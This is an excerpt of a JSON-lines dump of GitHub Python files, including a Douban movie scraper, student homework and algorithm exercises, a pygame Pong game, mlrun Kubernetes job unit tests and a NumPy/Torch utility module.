temp_list[0].split('主演')\n logging.debug('temp_temp_list:' + str(temp_temp_list) + 'temp_temp_list长度:' + str(len(temp_temp_list)))\n # 导演\n movieDirector = temp_temp_list[0]\n movieDirector = movieDirector.replace('导演:', '')\n if len(temp_temp_list) >= 2:\n # 主演\n movieActor = temp_temp_list[1]\n movieActor = movieActor.replace(':', '')\n else:\n # 主演\n movieActor = '...'\n # 时间/地区/类型\n temp_list = temp_list[1].split('/')\n # 时间\n movieTime = temp_list[0]\n # 地区\n moviePlace = temp_list[1]\n # 给地区加上/\n moviePlace = moviePlace.replace(' ', '/')\n # 类型\n movieType = temp_list[2]\n # 给类型加上/\n movieType = movieType.replace(' ', '/')\n # 去空格(因为要在地区中将空格变为/,所以只能最后去空格)\n movieDirector = delspace0(movieDirector)\n movieActor = delspace0(movieActor)\n movieTime = delspace0(movieTime)\n moviePlace = delspace0(moviePlace)\n movieType = delspace0(movieType)\n logging.debug(\n '\\n导演:' + movieDirector + '\\n主演:' + movieActor + '\\n时间:' + movieTime + '\\n地区:' + moviePlace + '\\n类型:' + movieType)\n '''将处理过的信息存入字典'''\n # 详细信息存入字典\n dic_detail = {'导演': movieDirector, '主演': movieActor, '时间': movieTime, '地区': moviePlace, '类型': movieType,\n '简介': movieShort}\n # 将字典存入外层字典1,key从list中取出\n dic_name.setdefault(list_name[j], dic_detail)\n # 下标后移一位\n j += 1\n # 评分和评论人数\n for i in range(len(elems_score)):\n # 获取评分和人数\n movieStar = str(elems_score[i].getText())\n # 去除空格\n movieStar = delspace0(movieStar)\n # 使用换行符分割\n temp_list = movieStar.split('\\n')\n # 评分\n movie_Star = temp_list[0]\n # 人数\n movie_Peonum = temp_list[2]\n movie_Peonum = movie_Peonum.replace('人评价', '')\n logging.debug(str(temp_list))\n logging.debug('\\n评分:' + movie_Star + '\\n人数:' + movie_Peonum)\n # 将数据存储在数据结构中\n dic_star_detail = {'评分': movie_Star, '评论人数': movie_Peonum}\n dic_star_name.setdefault(list_name[k], dic_star_detail)\n # 列表下标后移一位\n k += 1\n # 跳转下一页\n PAGENUM = 25 + int(PAGENUM)\n # 最后一页结束\n if PAGENUM > 225:\n break\n'''\n数据存入excel\n'''\n'''\n打开excel\n'''\n# 创建workbook对象\nworkbook = openpyxl.Workbook()\n# 获取sheet对象\nsheet = workbook.get_active_sheet()\n# 设置表头\nsheet['A1'] = '电影名'\nsheet['B1'] = '导演'\nsheet['C1'] = '主演'\nsheet['D1'] = '评分'\nsheet['E1'] = '评论人数'\nsheet['F1'] = '时间'\nsheet['G1'] = '地区'\nsheet['H1'] = '类型'\nsheet['I1'] = '简介'\n'''\n写入excel\n'''\n# 写入数据\nfor i in range(len(list_name)):\n # 详情字典\n dic_w_detail = dic_name[list_name[i]]\n # 评分字典\n dic_w_star = dic_star_name[list_name[i]]\n # 第一列\t电影名\n sheet['A' + str(ROWNUM)] = list_name[i]\n # 第二列\t导演\n sheet['B' + str(ROWNUM)] = dic_w_detail['导演']\n # 第三列\t主演\n sheet['C' + str(ROWNUM)] = dic_w_detail['主演']\n # 第四列\t评分\n sheet['D' + str(ROWNUM)] = dic_w_star['评分']\n # 第五列\t评论人数\n sheet['E' + str(ROWNUM)] = dic_w_star['评论人数']\n # 第六列\t时间\n sheet['F' + str(ROWNUM)] = dic_w_detail['时间']\n # 第七列\t地区\n sheet['G' + str(ROWNUM)] = dic_w_detail['地区']\n # 第八列\t类型\n sheet['H' + str(ROWNUM)] = dic_w_detail['类型']\n # 第九列\t简介\n sheet['I' + str(ROWNUM)] = dic_w_detail['简介']\n # 下移一行\n ROWNUM += 1\n# 设置表名\nsheet.title = SHEETNAME\n# 保存文件\nworkbook.save(WORKBOOKNAME)\n\n\"\"\"\n# 显示评分字典\nlogging.debug('============================')\nlogging.debug(str(dic_star_name))\n\"\"\"\n\"\"\"\n# 显示资料字典\nlogging.debug('============================')\nlogging.debug(str(dic_name))\n\"\"\"\n'''\n# 遍历list\nfor i in range(len(list_name)):\n\tlogging.debug('电影名:'+list_name[i])\nlogging.debug('list_name长度:'+str(len(list_name)))\n'''\nprint('完成!')\n","repo_name":"lyz21/MachineLearning","sub_path":"Movie/InternetWorm/douban250.py","file_name":"douban250.py","file_ext":"py","file_size_in_byte":8996,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"26891603103","text":"# Write a function removezeros that does the following.\n#\n# The function has one parameter – list of integers.\n# The function finds all sublists (i.e. ranges of consecutive elements), which have zero as the sum of their elements,\n# and removes such sublists from the list. The sublists may overlap with each other.\n# The function doesn't return anything, it only changes the given list.\n# Example 1\n# >>> a = [10, 5, -3, -3, 1, 4, -4]\n# >>> removezeros(a)\n# >>> a\n# [10]\n#\n# Explanation. The sum of elements in the sublist [5, -3, -3, 1] is zero, so this sublist is removed. Also the sum of elements in the\n# sublist [4, -4] is zero, therefore this sublist is removed as well. Only the integer 10 remains in the list.\n#\n# Example 2\n# >>> b = [7, 2, 2, -1, -3, 1, 2, 1, 5]\n# >>> removezeros(b)\n# >>> b\n# [7, 5]\n#\n# Explanation. The list contains two sublists with the sum zero: [2, 2, -1, -3] and [-1, -3, 1, 2, 1].\n# Both are removed and only the numbers 7 and 5 remain.\n#\n# To check your program with the autotester, submit it with the name removezeros.py.\n\ninput_list = [1, 2, 3, -1, 3, -2, -5, 3]\n\n\ndef removezeros(input_list):\n\n all_subsets = []\n\n for i in range(len(input_list)):\n for j in range(i + 1, len(input_list)+1):\n all_subsets.append(input_list[i:j])\n\n print(all_subsets)\n\n for set in all_subsets:\n if sum(set) == 0:\n for x in set:\n if x in input_list:\n input_list.remove(x)\n\n\n print(input_list)\n return input_list\n\n\nremovezeros(input_list)\n","repo_name":"Nurech/Python_LTAT.03.001","sub_path":"homeworks/03.24/removezeros.py","file_name":"removezeros.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"33750438778","text":"# Import the pygame library and initialise the game engine\r\nimport pygame\r\nfrom OldPaddle import Paddle\r\nfrom Bullet import Bullet\r\n\r\npygame.init()\r\n\r\n# Define some colors\r\nBLACK = (0, 0, 0)\r\nWHITE = (255, 255, 255)\r\n\r\n# Open a new window\r\nsize = (700, 500)\r\nscreen = pygame.display.set_mode(size)\r\npygame.display.set_caption(\"Pong\")\r\n\r\nplayer_paddle = Paddle(WHITE, 10, 100)\r\nplayer_paddle.rect.x = 20\r\nplayer_paddle.rect.y = 200\r\n\r\ncpu_paddle = Paddle(WHITE, 10, 100)\r\ncpu_paddle.rect.x = 670\r\ncpu_paddle.rect.y = 200\r\n\r\n# This will be groups that will contain all the sprites we intend to use in our game.\r\npaddle_group = pygame.sprite.Group()\r\nbullet_group = pygame.sprite.Group()\r\n\r\n# Add the paddles to the list of sprites\r\npaddle_group.add(player_paddle)\r\npaddle_group.add(cpu_paddle)\r\n\r\n# The loop will carry on until the user exits the game (e.g. clicks the close button).\r\ncarryOn = True\r\n\r\n# The clock will be used to control how fast the screen updates\r\nclock = pygame.time.Clock()\r\n\r\n# -------- Main Program Loop -----------\r\nwhile carryOn:\r\n # --- Main event loop\r\n for event in pygame.event.get(): # User did something\r\n if event.type == pygame.QUIT: # If user clicked close\r\n carryOn = False # Flag that we are done so we exit this loop\r\n elif event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_x: # Pressing the x Key will quit the game\r\n carryOn = False\r\n\r\n # Moving the paddles when the user uses the arrow keys (player A) or \"W/S\" keys (player B)\r\n keys = pygame.key.get_pressed()\r\n # if keys[pygame.K_w]:\r\n # cpu_paddle.moveUp(5)\r\n # if keys[pygame.K_s]:\r\n # cpu_paddle.moveDown(5)\r\n if keys[pygame.K_UP]:\r\n player_paddle.moveUp(5)\r\n if keys[pygame.K_DOWN]:\r\n player_paddle.moveDown(5)\r\n if keys[pygame.K_SPACE]:\r\n bullet = player_paddle.shoot()\r\n if bullet:\r\n bullet_group.add(bullet)\r\n\r\n # --- Game logic should go here\r\n paddle_group.update()\r\n bullet_group.update()\r\n\r\n # --- Drawing code should go here\r\n # First, clear the screen to black.\r\n screen.fill(BLACK)\r\n # Draw the net\r\n pygame.draw.line(screen, WHITE, [349, 0], [349, 500], 5)\r\n\r\n # Draw all the sprites in one go.\r\n paddle_group.draw(screen)\r\n bullet_group.draw(screen)\r\n\r\n # Update the screen with what we've drawn.\r\n pygame.display.flip()\r\n\r\n # Limit to 60 frames per second\r\n clock.tick(60)\r\n\r\n# Once we have exited the main program loop we can stop the game engine:\r\npygame.quit()\r\n","repo_name":"TylerSerrette/CMPS455","sub_path":"Pong with guns/ScratchGame.py","file_name":"ScratchGame.py","file_ext":"py","file_size_in_byte":2560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"39340850576","text":"from roboter.view import console\nfrom roboter.model import ranking\n\nDEFAULT_ROBOT_NAME = \"Yeji\"\nDEFAULT_USER_NAME = \"Joonhee\"\nDEFAULT_COLOR = \"blue\"\n\n\nclass Robot:\n \"\"\"\n This is a base class will be inherited\n \"\"\"\n\n def __init__(self, robot_name=DEFAULT_ROBOT_NAME, username=DEFAULT_USER_NAME, color=DEFAULT_COLOR):\n self.robot_name = robot_name\n self.username = username\n self.color = color\n\n def hello(self):\n while True:\n template = console.get_template_path(\"welcome.txt\", self.color)\n username = input(template.substitute({\"robot_name\": self.robot_name}))\n\n if username:\n self.username = username.title()\n break\n\n\nclass RestaurantRobot(Robot):\n \"\"\"\n This is a class to recommend restaurant\n \"\"\"\n def __init__(self, name=DEFAULT_ROBOT_NAME):\n super().__init__(robot_name= name)\n self.ranking_model = ranking.RankingModel()\n\n def _hello_decorator(func):\n def wrapper(self):\n if not self.username:\n self.hello()\n return func(self)\n return wrapper\n\n\n @_hello_decorator\n def recommend_restaurant(self):\n new_recommend_restaurant = self.ranking_model.get_most_popular()\n print(new_recommend_restaurant)\n if not new_recommend_restaurant:\n return None\n will_recommend_restaurants = [new_recommend_restaurant]\n\n while True:\n template = console.get_template_path(\"recommend_restaurant.txt\", self.color)\n is_yes = input(template.substitute({\n \"RESTAURANT_NAME\": new_recommend_restaurant\n }))\n\n if is_yes.lower() == \"y\" or is_yes.lower() == \"yes\":\n break\n\n if is_yes.lower() == \"n\" or is_yes.lower() == \"no\":\n new_recommend_restaurant = self.ranking_model.get_most_popular(\n not_list=will_recommend_restaurants\n )\n if not new_recommend_restaurant:\n break\n will_recommend_restaurants.append(new_recommend_restaurant)\n\n @_hello_decorator\n def ask_user_favorite(self):\n while True:\n template = console.get_template_path(\n \"ask_restaurant.txt\", self.color\n )\n restaurant = input(template.substitute({\n \"user_name\": self.username\n }))\n if restaurant:\n self.ranking_model.increment(restaurant)\n break\n\n @_hello_decorator\n def thank_you(self):\n \"\"\"Show words of appreciation to users.\"\"\"\n template = console.get_template_path('thanks.txt', self.color)\n print(template.substitute({'USER_NAME': self.username}))\n\n\n\n\n\n\n","repo_name":"jjoonhee/py_test","sub_path":"roboter/model/robot.py","file_name":"robot.py","file_ext":"py","file_size_in_byte":2779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"23573418157","text":"import base64\nimport json\nimport os\n\nimport deepdiff\nimport pytest\nfrom fastapi.testclient import TestClient\nfrom sqlalchemy.orm import Session\n\nimport mlrun.errors\nfrom mlrun.config import config as mlconf\nfrom mlrun.platforms import auto_mount\nfrom mlrun.runtimes.kubejob import KubejobRuntime\nfrom mlrun.runtimes.utils import generate_resources\nfrom tests.api.conftest import K8sSecretsMock\nfrom tests.api.runtimes.base import TestRuntimeBase\n\n\nclass TestKubejobRuntime(TestRuntimeBase):\n def custom_setup_after_fixtures(self):\n self._mock_create_namespaced_pod()\n # auto-mount is looking at this to check if we're running on Iguazio\n mlconf.igz_version = \"some_version\"\n\n def custom_setup(self):\n self.image_name = \"mlrun/mlrun:latest\"\n\n def _generate_runtime(self):\n runtime = KubejobRuntime()\n runtime.spec.image = self.image_name\n return runtime\n\n def test_run_without_runspec(self, db: Session, client: TestClient):\n runtime = self._generate_runtime()\n self._execute_run(runtime)\n self._assert_pod_creation_config()\n\n params = {\"p1\": \"v1\", \"p2\": 20}\n inputs = {\"input1\": f\"{self.artifact_path}/input1.txt\"}\n\n self._execute_run(runtime, params=params, inputs=inputs)\n self._assert_pod_creation_config(expected_params=params, expected_inputs=inputs)\n\n def test_run_with_runspec(self, db: Session, client: TestClient):\n task = self._generate_task()\n params = {\"p1\": \"v1\", \"p2\": 20}\n task.with_params(**params)\n inputs = {\n \"input1\": f\"{self.artifact_path}/input1.txt\",\n \"input2\": f\"{self.artifact_path}/input2.csv\",\n }\n for key in inputs:\n task.with_input(key, inputs[key])\n hyper_params = {\"p2\": [1, 2, 3]}\n task.with_hyper_params(hyper_params, \"min.loss\")\n secret_source = {\n \"kind\": \"inline\",\n \"source\": {\"secret1\": \"password1\", \"secret2\": \"password2\"},\n }\n task.with_secrets(secret_source[\"kind\"], secret_source[\"source\"])\n\n runtime = self._generate_runtime()\n self._execute_run(runtime, runspec=task)\n self._assert_pod_creation_config(\n expected_params=params,\n expected_inputs=inputs,\n expected_hyper_params=hyper_params,\n expected_secrets=secret_source,\n )\n\n def test_run_with_resource_limits_and_requests(\n self, db: Session, client: TestClient\n ):\n runtime = self._generate_runtime()\n\n gpu_type = \"test/gpu\"\n expected_limits = generate_resources(2, 4, 4, gpu_type)\n runtime.with_limits(\n mem=expected_limits[\"memory\"],\n cpu=expected_limits[\"cpu\"],\n gpus=expected_limits[gpu_type],\n gpu_type=gpu_type,\n )\n\n expected_requests = generate_resources(mem=2, cpu=3)\n runtime.with_requests(\n mem=expected_requests[\"memory\"], cpu=expected_requests[\"cpu\"]\n )\n\n self._execute_run(runtime)\n self._assert_pod_creation_config(\n expected_limits=expected_limits, expected_requests=expected_requests\n )\n\n def test_run_with_node_selection(self, db: Session, client: TestClient):\n runtime = self._generate_runtime()\n\n node_name = \"some-node-name\"\n runtime.with_node_selection(node_name)\n self._execute_run(runtime)\n self._assert_pod_creation_config(expected_node_name=node_name)\n\n runtime = self._generate_runtime()\n\n node_selector = {\n \"label-1\": \"val1\",\n \"label-2\": \"val2\",\n }\n mlrun.mlconf.default_function_node_selector = base64.b64encode(\n json.dumps(node_selector).encode(\"utf-8\")\n )\n runtime.with_node_selection(node_selector=node_selector)\n self._execute_run(runtime)\n self._assert_pod_creation_config(expected_node_selector=node_selector)\n\n runtime = self._generate_runtime()\n\n node_selector = {\n \"label-3\": \"val3\",\n \"label-4\": \"val4\",\n }\n runtime.with_node_selection(node_selector=node_selector)\n self._execute_run(runtime)\n self._assert_pod_creation_config(expected_node_selector=node_selector)\n\n runtime = self._generate_runtime()\n affinity = self._generate_affinity()\n runtime.with_node_selection(affinity=affinity)\n self._execute_run(runtime)\n self._assert_pod_creation_config(expected_affinity=affinity)\n\n runtime = self._generate_runtime()\n runtime.with_node_selection(node_name, node_selector, affinity)\n self._execute_run(runtime)\n self._assert_pod_creation_config(\n expected_node_name=node_name,\n expected_node_selector=node_selector,\n expected_affinity=affinity,\n )\n\n def test_run_with_priority_class_name(self, db: Session, client: TestClient):\n runtime = self._generate_runtime()\n\n medium_priority_class_name = \"medium-priority\"\n mlrun.mlconf.valid_function_priority_class_names = medium_priority_class_name\n runtime.with_priority_class(medium_priority_class_name)\n self._execute_run(runtime)\n self._assert_pod_creation_config(\n expected_priority_class_name=medium_priority_class_name\n )\n\n default_priority_class_name = \"default-priority\"\n mlrun.mlconf.default_function_priority_class_name = default_priority_class_name\n mlrun.mlconf.valid_function_priority_class_names = \",\".join(\n [default_priority_class_name, medium_priority_class_name]\n )\n runtime = self._generate_runtime()\n\n self._execute_run(runtime)\n self._assert_pod_creation_config(\n expected_priority_class_name=default_priority_class_name\n )\n\n runtime = self._generate_runtime()\n\n mlrun.mlconf.valid_function_priority_class_names = \"\"\n with pytest.raises(mlrun.errors.MLRunInvalidArgumentError):\n runtime.with_priority_class(medium_priority_class_name)\n\n def test_run_with_mounts(self, db: Session, client: TestClient):\n runtime = self._generate_runtime()\n\n # Mount v3io - Set the env variable, so auto_mount() will pick it up and mount v3io\n v3io_access_key = \"1111-2222-3333-4444\"\n v3io_user = \"test-user\"\n os.environ[\"V3IO_ACCESS_KEY\"] = v3io_access_key\n os.environ[\"V3IO_USERNAME\"] = v3io_user\n runtime.apply(auto_mount())\n\n self._execute_run(runtime)\n self._assert_pod_creation_config()\n self._assert_v3io_mount_or_creds_configured(v3io_user, v3io_access_key)\n\n # Mount a PVC. Create a new runtime so we don't have both v3io and the PVC mounted\n runtime = self._generate_runtime()\n pvc_name = \"test-pvc\"\n pvc_mount_path = \"/volume/mount/path\"\n volume_name = \"test-volume-name\"\n runtime.apply(auto_mount(pvc_name, pvc_mount_path, volume_name))\n\n self._execute_run(runtime)\n self._assert_pod_creation_config()\n self._assert_pvc_mount_configured(pvc_name, pvc_mount_path, volume_name)\n\n def test_run_with_k8s_secrets(self, db: Session, k8s_secrets_mock: K8sSecretsMock):\n secret_keys = [\"secret1\", \"secret2\", \"secret3\", \"mlrun.internal_secret\"]\n secrets = {key: \"some-secret-value\" for key in secret_keys}\n\n k8s_secrets_mock.store_project_secrets(self.project, secrets)\n\n runtime = self._generate_runtime()\n\n task = self._generate_task()\n task.metadata.project = self.project\n secret_source = {\n \"kind\": \"kubernetes\",\n \"source\": secret_keys,\n }\n task.with_secrets(secret_source[\"kind\"], secret_keys)\n\n self._execute_run(runtime, runspec=task)\n\n # We don't expect the internal secret to be visible - the user cannot mount it to the function\n # even if specifically asking for it in with_secrets()\n expected_env_from_secrets = k8s_secrets_mock.get_expected_env_variables_from_secrets(\n self.project, include_internal=False\n )\n\n self._assert_pod_creation_config(\n expected_secrets=secret_source,\n expected_env_from_secrets=expected_env_from_secrets,\n )\n\n # Now do the same with auto-mounting of project-secrets, validate internal secret is not visible\n runtime = self._generate_runtime()\n task = self._generate_task()\n task.metadata.project = self.project\n\n self._execute_run(runtime, runspec=task)\n self._assert_pod_creation_config(\n expected_env_from_secrets=expected_env_from_secrets,\n )\n\n def test_run_with_vault_secrets(self, db: Session, client: TestClient):\n self._mock_vault_functionality()\n runtime = self._generate_runtime()\n\n task = self._generate_task()\n\n task.metadata.project = self.project\n secret_source = {\n \"kind\": \"vault\",\n \"source\": {\"project\": self.project, \"secrets\": self.vault_secrets},\n }\n task.with_secrets(secret_source[\"kind\"], self.vault_secrets)\n vault_url = \"/url/for/vault\"\n mlconf.secret_stores.vault.remote_url = vault_url\n mlconf.secret_stores.vault.token_path = vault_url\n\n self._execute_run(runtime, runspec=task)\n\n self._assert_pod_creation_config(\n expected_secrets=secret_source,\n expected_env={\n \"MLRUN_SECRET_STORES__VAULT__ROLE\": f\"project:{self.project}\",\n \"MLRUN_SECRET_STORES__VAULT__URL\": vault_url,\n },\n )\n\n self._assert_secret_mount(\n \"vault-secret\", self.vault_secret_name, 420, vault_url\n )\n\n def test_run_with_code(self, db: Session, client: TestClient):\n runtime = self._generate_runtime()\n\n expected_code = \"\"\"\ndef my_func(context):\n print(\"Hello cruel world\")\n \"\"\"\n runtime.with_code(body=expected_code)\n\n self._execute_run(runtime)\n self._assert_pod_creation_config(expected_code=expected_code)\n\n def test_set_env(self, db: Session, client: TestClient):\n runtime = self._generate_runtime()\n env = {\"MLRUN_LOG_LEVEL\": \"DEBUG\", \"IMAGE_HEIGHT\": \"128\"}\n for env_variable in env:\n runtime.set_env(env_variable, env[env_variable])\n self._execute_run(runtime)\n self._assert_pod_creation_config(expected_env=env)\n\n # set the same env key for a different value and check that the updated one is used\n env2 = {\"MLRUN_LOG_LEVEL\": \"ERROR\", \"IMAGE_HEIGHT\": \"128\"}\n runtime.set_env(\"MLRUN_LOG_LEVEL\", \"ERROR\")\n self._execute_run(runtime)\n self._assert_pod_creation_config(expected_env=env2)\n\n def test_run_with_code_with_file(self, db: Session, client: TestClient):\n runtime = self._generate_runtime()\n\n runtime.with_code(from_file=self.code_filename)\n\n self._execute_run(runtime)\n self._assert_pod_creation_config(expected_code=open(self.code_filename).read())\n\n def test_run_with_code_and_file(self, db: Session, client: TestClient):\n runtime = self._generate_runtime()\n\n expected_code = \"\"\"\n def my_func(context):\n print(\"Hello cruel world\")\n \"\"\"\n\n with pytest.raises(mlrun.errors.MLRunInvalidArgumentError) as excinfo:\n runtime.with_code(from_file=self.code_filename, body=expected_code)\n assert \"must provide either body or from_file argument. not both\" in str(\n excinfo.value\n )\n\n def test_run_with_code_empty(self, db: Session, client: TestClient):\n runtime = self._generate_runtime()\n\n with pytest.raises(ValueError) as excinfo:\n runtime.with_code()\n assert \"please specify\" in str(excinfo.value)\n\n def test_set_label(self, db: Session, client: TestClient):\n task = self._generate_task()\n task.set_label(\"category\", \"test\")\n labels = {\"category\": \"test\"}\n\n runtime = self._generate_runtime()\n self._execute_run(runtime, runspec=task)\n self._assert_pod_creation_config(expected_labels=labels)\n\n def test_with_requirements(self, db: Session, client: TestClient):\n runtime = self._generate_runtime()\n runtime.with_requirements(self.requirements_file)\n expected_commands = [\"python -m pip install faker python-dotenv\"]\n assert (\n deepdiff.DeepDiff(\n expected_commands, runtime.spec.build.commands, ignore_order=True,\n )\n == {}\n )\n","repo_name":"jasonnIguazio/ghpages-mlrun","sub_path":"tests/api/runtimes/test_kubejob.py","file_name":"test_kubejob.py","file_ext":"py","file_size_in_byte":12587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"5391931426","text":"factorial = [1, 2, 6, 24, 120, 720, 5040, 40320, 362880, 3628800]\nN = int(input())\ni = 0\ncount = 0\nfor num in factorial:\n if num > N:\n index = i\n break\n i += 1\nfor num in range(index-1, -1, -1):\n while N - factorial[num] >= 0:\n count += 1\n N -= factorial[num]\nprint(count)","repo_name":"RatulAlMamun/URI-Solution","sub_path":"02. Ad-Hoc/URI 1936 - Factorial.py","file_name":"URI 1936 - Factorial.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"40051669515","text":"# link to problem: https://www.hackerrank.com/challenges/queens-attack-2/problem\n\ndef count_boxes(dx, dy, q_coord, ob):\n current_count = 0\n queen_row, queen_col = q_coord[0], q_coord[1]\n queen_col += dx\n queen_row += dy\n while 1 <= queen_col <= n and 1 <= queen_row <= n:\n\n if [queen_row, queen_col] in ob:\n return current_count\n else:\n current_count += 1\n queen_col += dx\n queen_row += dy\n return current_count\n\ndef queensAttack(n, k, r_q, c_q, obstacles):\n moves = {\n 'horizontal_left': count_boxes(dx=-1, dy=0, q_coord=(r_q, c_q), ob=obstacles),\n 'horizontal_right': count_boxes(dx=+1, dy=0, q_coord=(r_q, c_q), ob=obstacles),\n 'vertical_up': count_boxes(dx=0, dy=+1, q_coord=(r_q, c_q), ob=obstacles),\n 'vertical_down': count_boxes(dx=0, dy=-1, q_coord=(r_q, c_q), ob=obstacles),\n 'diag_down_right': count_boxes(dx=+1, dy=-1, q_coord=(r_q, c_q), ob=obstacles),\n 'diag_down_left': count_boxes(dx=-1, dy=-1, q_coord=(r_q, c_q), ob=obstacles),\n 'diag_up_right': count_boxes(dx=+1, dy=+1, q_coord=(r_q, c_q), ob=obstacles),\n 'diag_up_left': count_boxes(dx=-1, dy=+1, q_coord=(r_q, c_q), ob=obstacles),\n }\n count = sum(moves.values())\n return count\n\n\nfirst_multiple_input = input().rstrip().split()\nn = int(first_multiple_input[0])\nk = int(first_multiple_input[1])\n\nsecond_multiple_input = input().rstrip().split()\nr_q = int(second_multiple_input[0])\nc_q = int(second_multiple_input[1])\n\nobstacles = []\nfor _ in range(k):\n obstacles.append(list(map(int, input().rstrip().split())))\n\nresult = queensAttack(n, k, r_q, c_q, obstacles)\nprint(result)","repo_name":"L-Ignatova/hacker-rank-challenges","sub_path":"problem-solving/queens_attack.py","file_name":"queens_attack.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"31162298255","text":"#Aluno: Vinicius Augusto Andrade Albuquerque (Apolo)\n\nalfabeto = [\"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"L\", \"M\", \"N\", \"O\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"U\", \"V\", \"W\", \"X\", \"Y\", \"Z\"]\n\nclass Aresta:\n def __init__(self, vertice1, peso, vertice2):\n self.vertice1 = vertice1\n self.peso = peso\n self.vertice2 = vertice2\n\nclass Vertice:\n def __init__(self, nome):\n self.nome = nome\n\nclass Grafo:\n def __init__(self, qtdVertices):\n self.qtdVertices = qtdVertices\n self.matrizArestas = None\n def gerarMatriz(self, matriz):\n mtz = []\n linhaMatriz = 0\n colunaMatriz = 0\n for linha in matriz:\n mtz.append([])\n for coluna in linha:\n mtz[linhaMatriz].append(None)\n if coluna != str(0):\n vertice1 = Vertice(alfabeto[linhaMatriz])\n vertice2 = Vertice(alfabeto[colunaMatriz])\n mtz[linhaMatriz][colunaMatriz]= Aresta(vertice1,coluna,vertice2)\n colunaMatriz += 1\n else:\n colunaMatriz += 1\n linhaMatriz += 1\n colunaMatriz = 0\n self.matrizArestas = mtz\n\n\ndef Prim(grafo):\n Mst = [[]*grafo.qtdVertices]\n linhaMatriz = 0\n colunaMatriz = 0\n listaPesos = [] \n for linha in grafo.matrizArestas:\n for coluna in linha:\n if coluna.peso != 0:\n pass\n return Mst\n\nentrada = open('L11Q1_in.txt', 'r')\nlista_arvores = []\nfor linha in entrada:\n lista_arvores.append(linha.split())\nentrada.close\n\ng1 = Grafo(9)\ng1.gerarMatriz(lista_arvores)\nfor l in g1.matrizArestas:\n for c in l:\n if c:\n print(f\"{c.vertice1.nome}-{c.peso}-{c.vertice2.nome} \", end=\"\")\n else:\n print(\"0 \",end=\"\")\n print()\n\n\n","repo_name":"apoloapolo/algoritmos-e-estruturas-de-dados","sub_path":"Listas/L11Q1/L11Q1.py","file_name":"L11Q1.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"42998077624","text":"import codecs\nimport pickle\nimport warnings\nfrom itertools import product\nfrom typing import Any, Callable, Iterator, List, NoReturn, Tuple, TypeVar, Union\n\nimport numpy as np\nimport torch\nfrom numpy.linalg import LinAlgError\nfrom torch import nn\n\n\nT = TypeVar(\"T\", dict, list, np.ndarray, torch.Tensor) # pylint: disable=invalid-name\n\n# Type alias to accept both NumPy arrays and Torch tensors.\nNdTensor = Union[np.ndarray, torch.Tensor]\n\n\ndef is_numpy(val: NdTensor) -> bool:\n \"\"\"Checks if the given :py:class:`NdTensor` is a NumPy array.\"\"\"\n return isinstance(val, np.ndarray)\n\n\ndef is_torch(val: NdTensor) -> bool:\n \"\"\"Checks if the given :py:class:`NdTensor` is a Torch tensor.\"\"\"\n return isinstance(val, torch.Tensor)\n\n\ndef to_numpy(val: NdTensor, *, force_detach: bool = False, copy: bool = False) -> np.ndarray:\n \"\"\"\n Converts the given tensor (which can also be a NumPy array) into a NumPy array and copies it to the CPU. If it\n already is a NumPy array, it is not converted (this method is idempotent). If the Torch tensor `requires_grad`, it\n is detached first. Additionally, if `force_detach` or `copy` is `True`, it is also detached. If `copy` is `True`,\n the converted NumPy array is copied using the :py:meth:`numpy.ndarray.copy` method if the\n :py:attr:`numpy.ndarray.base` is not `None`.\n\n :param val: tensor to convert\n :param force_detach: whether to always detach the tensor before copying it to the CPU, ignoring whether it\n `requires_grad`\n :param copy: whether to copy the NumPy array after conversion (implies `force_detach`); only applied if the `base`\n of the array is not `None`\n :return: the numpy array with same shape as `val`; the underlying data type is handled automatically by PyTorch's\n :py:meth:`torch.Tensor.numpy` method\n \"\"\"\n force_detach = force_detach or copy\n if not is_numpy(val):\n if val.requires_grad or force_detach or copy:\n val = val.detach()\n val = val.cpu().numpy()\n if copy and val.base is not None:\n val = val.copy()\n return val\n\n\ndef pickle_str(obj: Any) -> str:\n \"\"\"\n Pickles the given object using :py:meth:`pickle.dumps` and base64-encodes the result. Can be unpickled using\n :py:meth:`.unpickle_str`.\n\n :param obj: object to pickle\n :return: base64-representation of the pickled object\n \"\"\"\n return codecs.encode(pickle.dumps(obj), \"base64\").decode()\n\n\ndef unpickle_str(obj: str) -> Any:\n \"\"\"\n Unpickles the given base64-representation of a pickle object as produced by :py:meth:`.pickle_str`.\n\n :param obj: base64-representation of the pickled object\n :return: unpickled object\n \"\"\"\n return pickle.loads(codecs.decode(obj.encode(), \"base64\"))\n\n\ndef periodic(half_period: float) -> Callable[[Callable[[NdTensor], NdTensor]], NoReturn]:\n \"\"\"\n Generates a decorator that can be used to make any function periodic by applying the modulus operator as follows:\n\n .. math::\n y = f([x + T]_{2T} - T)\n\n where :math:`T` is the `half_period`, :math:`f` is the wrapped function and :math:`x`, :math:`y` are the input and\n output values, respectively.\n\n :param half_period: half value of the period of the result for function; for sine this would be :math:`\\\\pi`\n :return: decorator to be applied on the function\n \"\"\"\n\n def decorator(func: Callable[[NdTensor], NdTensor]) -> Callable[[NdTensor], NdTensor]:\n def wrapped(x: NdTensor):\n return func((x + half_period) % (2 * half_period) - half_period)\n\n return wrapped\n\n return decorator\n\n\ndef process_as_numpy_array(tensor: torch.Tensor, func: Callable[[np.ndarray], np.ndarray]) -> torch.Tensor:\n \"\"\"\n Invokes the given callable `func` with a detached version of `tensor` (using :py:meth:`to_numpy`) converted to a\n NumPy array. The resulting NumPy array is than converted back to a Torch tensor using 